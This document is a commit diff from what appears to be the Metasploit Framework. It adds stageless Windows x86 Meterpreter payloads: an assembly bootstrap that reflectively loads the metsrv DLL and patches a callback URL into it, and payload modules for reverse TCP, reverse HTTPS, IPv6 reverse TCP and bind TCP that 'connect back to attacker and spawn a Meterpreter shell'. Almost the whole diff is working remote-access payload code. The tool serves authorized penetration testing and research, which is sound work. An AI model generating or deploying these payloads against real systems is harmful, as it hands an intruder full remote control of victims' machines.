Land #4925, OJ adds self-contained windows meterpreter options
commit
564962042e
|
@ -323,7 +323,7 @@ protected
|
|||
# Grab the checksummed version of CONN from the payload's request.
|
||||
conn_id = req.relative_resource.gsub("/", "")
|
||||
|
||||
print_status("Incoming orphaned session #{conn_id}, reattaching...")
|
||||
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
#-*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Implements stageless invocation of metsrv in x86
|
||||
#
|
||||
##
|
||||
|
||||
module Payload::Windows::StagelessMeterpreter
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
dec ebp ; 'M'
|
||||
pop edx ; 'Z'
|
||||
call $+5 ; call next instruction
|
||||
pop ebx ; get the current location (+7 bytes)
|
||||
push edx ; restore edx
|
||||
inc ebp ; restore ebp
|
||||
push ebp ; save ebp for later
|
||||
mov ebp, esp ; set up a new stack frame
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader() (0x????????)
|
||||
add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
|
||||
call ebx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
push ebx ; push the pointer to the extension list
|
||||
push 4 ; indicate that we have attached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
mov ebx, eax ; save DllMain for another call
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
push #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; indicate that we have detached
|
||||
push eax ; push some arbitrary value for hInstance
|
||||
call ebx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def generate_stageless_meterpreter(url = nil)
|
||||
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => datastore['EXITFUNC']
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(conf)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
print_error("Stageless Meterpreter generated with oversized x86 bootstrap.")
|
||||
return
|
||||
end
|
||||
|
||||
# patch the binary with all the stuff
|
||||
dll[0, bootstrap.length] = bootstrap
|
||||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
url = "s#{url}\x00"
|
||||
location = dll.index("https://#{'X' * 256}")
|
||||
if location
|
||||
dll[location, url.length] = url
|
||||
end
|
||||
end
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
||||
# append each extension to the payload, including
|
||||
# the size of the extension
|
||||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x86.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
end
|
||||
end
|
||||
|
||||
# Terminate the "list" of extensions
|
||||
dll + [0].pack('V')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -40,6 +40,33 @@ class ClientCore < Extension
|
|||
# Core commands
|
||||
#
|
||||
##
|
||||
#
|
||||
#
|
||||
# Get a list of loaded commands for the given extension.
|
||||
#
|
||||
def get_loaded_extension_commands(extension_name)
|
||||
request = Packet.create_request('core_enumextcmd')
|
||||
request.add_tlv(TLV_TYPE_STRING, extension_name)
|
||||
|
||||
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
||||
|
||||
# No response?
|
||||
if response.nil?
|
||||
raise RuntimeError, "No response was received to the core_enumextcmd request.", caller
|
||||
elsif response.result != 0
|
||||
# This case happens when the target doesn't support the core_enumextcmd message.
|
||||
# If this is the case, then we just want to ignore the error and return an empty
|
||||
# list. This will force the caller to load any required modules.
|
||||
return []
|
||||
end
|
||||
|
||||
commands = []
|
||||
response.each(TLV_TYPE_STRING) { |c|
|
||||
commands << c.value
|
||||
}
|
||||
|
||||
commands
|
||||
end
|
||||
|
||||
#
|
||||
# Loads a library on the remote meterpreter instance. This method
|
||||
|
@ -153,25 +180,36 @@ class ClientCore < Extension
|
|||
if mod.nil?
|
||||
raise RuntimeError, "No modules were specified", caller
|
||||
end
|
||||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
modname = "ext_server_#{mod.downcase}"
|
||||
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
||||
|
||||
if opts['ExtensionPath']
|
||||
path = ::File.expand_path(opts['ExtensionPath'])
|
||||
# Query the remote instance to see if commands for the extension are
|
||||
# already loaded
|
||||
commands = get_loaded_extension_commands(mod.downcase)
|
||||
|
||||
# if there are existing commands for the given extension, then we can use
|
||||
# what's already there
|
||||
unless commands.length > 0
|
||||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
modname = "ext_server_#{mod.downcase}"
|
||||
path = MeterpreterBinaries.path(modname, client.binary_suffix)
|
||||
|
||||
if opts['ExtensionPath']
|
||||
path = ::File.expand_path(opts['ExtensionPath'])
|
||||
end
|
||||
|
||||
if path.nil?
|
||||
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
|
||||
end
|
||||
|
||||
# Load the extension DLL
|
||||
commands = load_library(
|
||||
'LibraryFilePath' => path,
|
||||
'UploadLibrary' => true,
|
||||
'Extension' => true,
|
||||
'SaveToDisk' => opts['LoadFromDisk'])
|
||||
end
|
||||
|
||||
if path.nil?
|
||||
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
|
||||
end
|
||||
|
||||
# Load the extension DLL
|
||||
commands = load_library(
|
||||
'LibraryFilePath' => path,
|
||||
'UploadLibrary' => true,
|
||||
'Extension' => true,
|
||||
'SaveToDisk' => opts['LoadFromDisk'])
|
||||
# wire the commands into the client
|
||||
client.add_extension(mod, commands)
|
||||
|
||||
return true
|
||||
|
|
|
@ -0,0 +1,44 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Meterpreter Shell, Bind TCP Inline',
|
||||
'Description' => 'Connect to victim and spawn a Meterpreter shell',
|
||||
'Author' => [ 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
# blank LHOST indicates bind payload
|
||||
url = "tcp://:#{datastore['LPORT']}"
|
||||
generate_stageless_meterpreter(url)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,72 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Meterpreter Shell, Reverse HTTPS Inline',
|
||||
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
|
||||
'Author' => [ 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
|
||||
rand = Rex::Text.rand_text_alphanumeric(16)
|
||||
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
|
||||
|
||||
generate_stageless_meterpreter(url) do |dll|
|
||||
|
||||
# TODO: figure out this bit
|
||||
# patch the target ID into the URI if specified
|
||||
#if opts[:target_id]
|
||||
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
|
||||
# if i
|
||||
# t = opts[:target_id].to_s
|
||||
# raise "Target ID must be less than 5 bytes" if t.length > 4
|
||||
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
|
||||
# print_status("Patching Target ID #{t} into DLL")
|
||||
# dll[i, u.length] = u
|
||||
# end
|
||||
#end
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! dll,
|
||||
:url => url,
|
||||
:ssl => true,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => datastore['PROXYHOST'],
|
||||
:proxyport => datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PROXY_PASSWORD']
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6)',
|
||||
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
|
||||
'Author' => [ 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
|
||||
generate_stageless_meterpreter(url)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
require 'msf/core/payload/windows/stageless_meterpreter'
|
||||
require 'msf/base/sessions/meterpreter_x86_win'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
CachedSize = :dynamic
|
||||
|
||||
include Msf::Payload::Windows::StagelessMeterpreter
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline',
|
||||
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
|
||||
'Author' => [ 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate
|
||||
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
|
||||
generate_stageless_meterpreter(url)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -2432,6 +2432,46 @@ describe 'modules/payloads', :content do
|
|||
reference_name: 'windows/messagebox'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter_bind_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/windows/meterpreter_bind_tcp'
|
||||
],
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter_bind_tcp'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter_reverse_https' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/windows/meterpreter_reverse_https'
|
||||
],
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter_reverse_https'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter_reverse_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/windows/meterpreter_reverse_ipv6_tcp'
|
||||
],
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter_reverse_ipv6_tcp'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter_reverse_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
'singles/windows/meterpreter_reverse_tcp'
|
||||
],
|
||||
dynamic_size: true,
|
||||
modules_pathname: modules_pathname,
|
||||
reference_name: 'windows/meterpreter_reverse_tcp'
|
||||
end
|
||||
|
||||
context 'windows/meterpreter/bind_ipv6_tcp' do
|
||||
it_should_behave_like 'payload cached size is consistent',
|
||||
ancestor_reference_names: [
|
||||
|
|
Loading…
Reference in New Issue